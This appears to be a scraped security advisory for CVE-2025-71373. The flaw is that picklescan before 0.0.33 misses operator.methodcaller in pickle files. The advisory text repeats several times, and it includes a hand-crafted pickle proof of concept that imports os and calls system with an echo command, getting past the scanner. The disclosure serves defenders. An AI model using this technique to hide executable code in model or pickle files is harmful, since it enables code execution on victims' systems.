CVE-2025-71373

picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation.

picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation.

picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation.

Summary

Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

• First, the attacker crafts the payload by calling the operator.methodcaller function in method reduce.
• Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)

This PoC can't be easily created by pickle.dumps, therefore it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).

picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation.

picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation.

Summary

Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

• First, the attacker crafts the payload by calling the operator.methodcaller function in method reduce.
• Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)

This PoC can't be easily created by pickle.dumps, therefore it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).